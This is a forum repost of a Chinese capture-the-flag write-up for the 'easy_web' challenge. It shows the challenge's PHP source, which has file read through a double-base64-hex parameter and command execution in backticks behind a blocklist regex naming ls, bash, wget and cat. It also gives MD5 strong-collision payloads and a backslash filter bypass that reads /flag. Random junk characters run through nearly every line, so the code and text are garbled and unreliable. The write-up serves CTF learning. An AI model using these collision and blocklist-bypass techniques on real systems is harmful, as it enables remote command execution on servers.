飞雪团队

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 5647|回复: 0

[安洵杯 2019]easy_web

[复制链接]

5344

主题

5432

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
18354
发表于 2022-2-12 14:35:42 | 显示全部楼层 |阅读模式
& l* Y4 t' `! ^, C6 g$ A: G- B9 K
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>: \0 m- |( \8 n  y
<p>&nbsp;</p>8 v  X) x0 v5 y# E( Z. F! u' R
<p>&nbsp;</p>
$ w6 ~5 @* ^7 t<p>&nbsp;题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd=,同时查看源代码</p>! Y% S+ j) d3 }
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>- y4 Q; k0 \- x3 o) o1 b, i
<p>&nbsp;</p>, m+ a/ _) L: ], ^$ {
<p>&nbsp;</p>
' N1 `" P% e, c% S$ `% c0 {; E<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>. n6 W: x9 U: _  b: w, K2 C
<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>
2 K5 U: A( @4 J( w<p>首先把那个进行一次base64位解码</p>
8 x% K- e, N# r0 q* D  S. y<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>$ Q) y  M8 U- D
<p>&nbsp;</p>; x* Y0 ?; j8 W8 f
<p>&nbsp;</p>5 j% s0 h6 R* I* S
<p>&nbsp;解码一次以后还是很像base64编码,于是又解码一次</p>
# Y6 m$ U$ ^: g<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>
% c" s! e4 T6 d+ @7 u<p>&nbsp;</p>; {  o$ E$ D4 y$ _/ W; X
<p>&nbsp;</p>
. e3 H& J* u5 f* \0 m$ \<p>&nbsp;然后用hex解码一下得到了</p>
" s, @9 h1 o7 ]$ }<div class="cnblogs_Highlighter">
+ l6 e' R5 c# t  F) |<pre class="brush:sql;gutter:true;">555.png
/ W. Y5 q+ a  A6 u* G7 b* e, v" B3 F- b</pre>) w  R5 K" v) k0 a5 b# ^4 a+ d/ v: R0 H
</div>
* P7 V, i/ P$ o<p>  用同样的方法把index.php进行加密</p>/ K' |$ S) }4 U
<div class="cnblogs_Highlighter">
% z, @: O0 X$ C0 w4 V# ^<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
, \+ X) q5 z" y: ?6 [</pre>
2 n) l7 X5 q3 z$ j: ^5 s+ H( ?</div>
) V- O9 p. a  q<p>  然后输入到地址栏</p>
! |- U$ T7 A5 E- \2 p( [% u<p>&nbsp;然后查看源代码,把源代码里面的那一串base64的编码解码</p>1 E2 ^/ V$ T# s1 v
<div class="cnblogs_code">
  f5 r! z8 V; U0 T" }- D<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php6 y' @3 r3 N: V) k. B
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);
' M3 ]/ s" W; U7 U</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);( Z5 _$ T# ]& Y
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
8 m: @5 ?. Q7 l5 `</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">])) 9 J6 E) D0 O( d2 T9 }* p
    </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd='<span style="color: rgba(0, 0, 0, 1)">);; U% n7 l) O6 i, ~+ m
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));' k' O! b# w; C5 F' J9 x) L+ \( S
$ T9 u8 a7 O3 B$ n# P1 A
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);
6 e. C* C- I1 d) d1 ?" u* v9 F7 M</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {7 c' V0 h; Y7 W& U3 m
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '&lt;img src ="./ctf3.jpeg"&gt;'<span style="color: rgba(0, 0, 0, 1)">;- Q3 U  ~1 B0 `8 ]+ G1 R8 w0 _( N; x
    </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);
. ?: f! G: q* O. ]9 \} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {0 X( r. _/ J+ o* q( D
    </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));* x% z* \' ]  o1 {/ n: q. O
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'&gt;&lt;/img&gt;"<span style="color: rgba(0, 0, 0, 1)">;
6 Q/ e  M9 q1 _# P3 u    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;8 \' _) g( v1 E; Z$ E, V& \
}
' ~% b* U' a0 G0 [</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;2 a; x: ]" X  @) C3 ~9 W& |0 ?+ k% Y
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;0 ]- P/ D# a, |+ Y' B
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&amp;[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|&lt;|&gt;/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {) Z0 z  c2 h  X7 y
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);8 J' ?: g5 J& F: ]1 B
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;; Q; M& {$ Q6 b7 B* Q  X3 S
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {9 J' I0 g/ y5 T. W8 S( F% t" l( T
    </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {6 W( o3 V) D8 J4 W3 e" G
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
6 E* _- _2 }" [8 H! R! }4 M    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
# _: q' t* ]+ o! i% s  ?. i        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
+ r% o' R) H4 _1 P1 E$ r    }
: i4 ]/ l4 m3 I" R}
5 ?1 [) b9 N0 ]
" }' o' S% D( ?</span>?&gt;
4 A) W9 [: U  J, b: |' a&lt;html&gt;' S: G1 h# Z, Q: D$ A, y" J
&lt;style&gt;<span style="color: rgba(0, 0, 0, 1)">* T7 M; v( m0 E
  body{! e& x/ w( c# ]6 ^. {  X
   background</span>:url(./bj.png)  no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;
: c/ m0 z, r- e3 M$ B8 a" c2 P   background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;9 K  `1 `# v" K$ u5 v7 B: X* z
   background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;
0 c2 ]4 _' K4 ]0 v   background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>/ h, D) s/ ?! z3 O$ U
<span style="color: rgba(0, 0, 0, 1)">}( w1 l: R7 K$ b7 o0 R
</span>&lt;/style&gt;
9 u, c# D9 f7 ^' _" ^5 J&lt;body&gt;
* C. j9 A3 V/ }( P% f7 |&lt;/body&gt;% M5 ?- U7 s: T8 I
&lt;/html&gt;</pre>& b0 V4 y4 [+ U2 M# Q, [
</div>
+ a% W0 x* r" d+ K<p>结合前面的推断,关键代码就在</p>( z# n% r- d4 ~: w3 j" {" P
<div class="cnblogs_code">
6 o( S; O4 v' x9 [7 I8 z<pre>    <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {) Z3 B" R* K) W! s
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;& O& S( L8 r9 }! v1 s! u* V! T
    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
9 z) V6 b& q. |  S! P0 U# w. j        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
6 ]5 v9 i7 I% K" ^9 L+ G' B. _    }</span></pre>! `; q/ y8 N; K9 @( L; r/ |
</div>
  }5 U6 g0 ]4 k: Q" M# n1 W' E. l% t; x  M; s<p>这种MD5是md5强碰撞</p>5 p' H  f- x2 i% T4 k+ u
<div class="cnblogs_Highlighter">3 W# W7 V/ S: A+ ~
<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a21 M% |$ O8 D5 W0 X# z4 A8 F, i
</pre>! e( d% b" x& ^+ y0 a& F, N5 Y
</div>
" J* K/ Y" m0 O4 U8 X7 m0 f5 p<div class="cnblogs_Highlighter">7 ]6 {: @0 O7 M0 n: B; `8 R
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a20 ?+ W$ ^  R" l' ]5 v$ A0 x
</pre>
8 T7 j4 y- C* x9 {+ k, y) A</div>
' ]; ~0 n! a( X2 d  A5 G8 Y/ H  T<p>  只需要这样就可以把cmd里面的当成命令来处理。</p>
6 `, s# t+ m/ y) C" C0 U5 ~. e; _# l/ G<p>于是采用payload:</p>
2 v% h3 t6 H8 ^( R<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>
0 c+ L; k, A) N<p>&nbsp;</p>& U7 _& t) g9 Z. u" t; y
<p>&nbsp;因为'\'并没有被屏蔽所以可以这么绕过</p>* _( d* Q7 Q9 X; A( S, B8 D
<p>ls和l\s在命令执行的时候结果是一样的。</p>6 n5 N, U: k: h+ y% W2 u" z
<p>然后发现根目录里面有/flag</p>
  b: s* f3 ~3 ?  T9 N  }% ~: d2 m<p>于是payload:</p>
+ Y- N7 H& Q/ _$ U$ @& a, A8 o<div class="cnblogs_Highlighter">9 I7 m, T, M; @6 n! z$ }' E/ C
<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
/ Q; V9 A$ ?; r; s</pre>
5 i. n+ L: o# p$ Z: o1 a</div>
# y$ B1 S, i: P# a1 S- H<p>  对于这个题目,因为他没有屏蔽sort和dir</p>
7 E4 Z1 |4 t- }' ~, m<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>
0 L% a, u3 t1 j7 k6 n, o8 ?<p>&nbsp;</p>
1 O' u3 {; [1 Z/ F
回复

使用道具 举报

懒得打字嘛,点击右侧快捷回复 【右侧内容,后台自定义】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|飞雪团队

GMT+8, 2024-11-24 02:55 , Processed in 0.066542 second(s), 21 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表